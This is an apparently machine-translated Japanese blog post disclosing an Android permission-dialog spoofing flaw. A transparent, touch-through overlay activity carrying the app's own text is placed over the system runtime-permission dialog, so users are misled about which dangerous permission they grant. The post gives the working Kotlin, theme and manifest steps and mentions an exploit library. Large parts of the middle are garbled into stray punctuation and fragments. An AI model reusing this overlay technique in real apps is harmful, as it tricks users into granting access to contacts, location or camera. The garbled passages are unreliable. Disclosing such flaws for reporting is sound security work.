こんにちは、私の名前はヴィタリーです。
私は25歳で、故郷のサンクトペテルブルク州立電気工科大学「LETI」を卒業しました。私はプログラミングを10年間行っており、そのうち4つはAndroid用に書いています。Sony PlayStation Portable(PSP)用のVITTACHとして知られる多くのHomebrewプログラムの作成者。
今日は、モバイルアプリケーションのセキュリティの問題についてお話ししたいと思います。Googleの開発者は、Android Security Rewardsプログラムのおかげで集まった大規模なコミュニティの助けを借りて、脆弱性を見つけて修正し、Androidを絶えず改善しています。これについては、後で説明します。それでもなお問題は残っており、タイムリーに修正されるように報告することはコミュニティとしての私たちの共通の課題です。
私が話す脆弱性は、優先度:P2と重大度:S2のクラスに属します。これは、広い意味での表によれば、次のことを意味します。
妥当な時間枠内に解決する必要がある問題。
大部分のユーザーにとって重要であり、コア機能に関連する問題。
ランタイム権限
この記事では、ランタイム権限としてすべての開発者に知られているもの、つまり、システム上に独自のテキストとアイコンを備えた権限ダイアログボックスを示すことによってエンドユーザーを誤解させる可能性に焦点を当てます。このようなアプローチにより、開発者はユーザーに、たとえばファイルシステムへの許可を求めることができ、実際には、ジオロケーションやカメラなどへのアクセスを許可できると推測するのは簡単です。
それは不可能だ
同様の質問が、専門のフォーラム、特にStackOverflowで何度も行われています。唯一の正解はそれが不可能だったということでした。そして、これは本当にそうです。システムダイアログ自体のテキストを置き換えることは不可能ですが、独自のテキストで上書きすることは可能です。
ボンネットの下にあるもの
Runtime Permission Android 6.0
dangerous-. , . dangerous .
Dangerous permissions
android.permission_group.CALENDAR
android.permission.READ_CALENDAR
android.permission.WRITE_CALENDAR
android.permission_group.CAMERA
android.permission.CAMERA
android.permission_group.CONTACTS
android.permission.READ_CONTACTS
android.permission.WRITE_CONTACTS
android.permission.GET_ACCOUNTS
android.permission_group.LOCATION
android.permission.ACCESSFINELOCATION
android.permission.ACCESSCOARSELOCATION
android.permission_group.MICROPHONE
android.permission.RECORD_AUDIO
android.permission_group.PHONE
android.permission.READPHONESTATE
android.permission.CALL_PHONE
android.permission.READCALLLOG
android.permission.WRITECALLLOG
android.permission.ADD_VOICEMAIL
android.permission.USE_SIP
android.permission.PROCESSOUTGOINGCALLS
android.permission_group.SENSORS
android.permission.BODY_SENSORS
android.permission_group.SMS
android.permission.SEND_SMS
android.permission.RECEIVE_SMS
android.permission.READ_SMS
android.permission.RECEIVEWAPPUSH
android.permission.RECEIVE_MMS
android.permission.READCELLBROADCASTS
android.permission_group.STORAGE
android.permission.READEXTERNALSTORAGE
android.permission.WRITEEXTERNALSTORAGE
Android GrantPermissionsActivity, .
ActivityCompat.requestPermissions(
MainActivity.this,
arrayOf(Manifest.permission.READ_CONTACTS),
PERMISSION_REQUEST_CODE
)

Activity, UI , Activity, .
:
Activity android:windowIsTranslucent=true
( Activity , , ) Activity , . Activity Activity .

– Activity , – Activity . Activity, ?

, , , , . , :

Activity , onResume
onPause
. Activity.
, Activity , . – !
,
Kotlin
,
<style name="Theme.Transparent" parent="AppTheme"> <item name="android:windowBackground">@android:color/transparent</item> <item name="android:windowIsTranslucent">true</item> </style>
Activity
... <activity android:name=".PermissionActivity" android:theme="@style/Theme.Transparent">
PermissionActivity layout
onCreate :
window.addFlags( FLAG_NOT_FOCUSABLE or FLAG_NOT_TOUCH_MODAL or FLAG_NOT_TOUCHABLE )
:
FLAG_NOT_FOCUSABLE
: window,FLAG_NOT_FOCUSABLE
, ;
FLAG_NOT_TOUCH_MODAL
: , , , ;
FLAG_NOT_TOUCHABLE
: .
MainActivity
ActivityCompat.requestPermissions( MainActivity.this, arrayOf(Manifest.permission.READ_CONTACTS), REQUEST_CODE )
MainActivity : PermissionActivity.
startActivity(Intent(this, PermissionActivity::class.java))
PermissionActivity Activity . !
Android >= 7.1.1
Runtime Permission Android 6.0
, 7.1.1
, .. Android
.
Android 6.0
, . , Google .

Android Rewards Program
私は申請書を提出し、この脆弱性に関連するすべての説明およびデモンストレーション文書を添付しました。現在、申請を検討中ですので、同意書に署名しておりますので、詳細はお伝えできません。
どうすれば簡単ですか?
脆弱性を悪用するために、私はライブラリを作成しました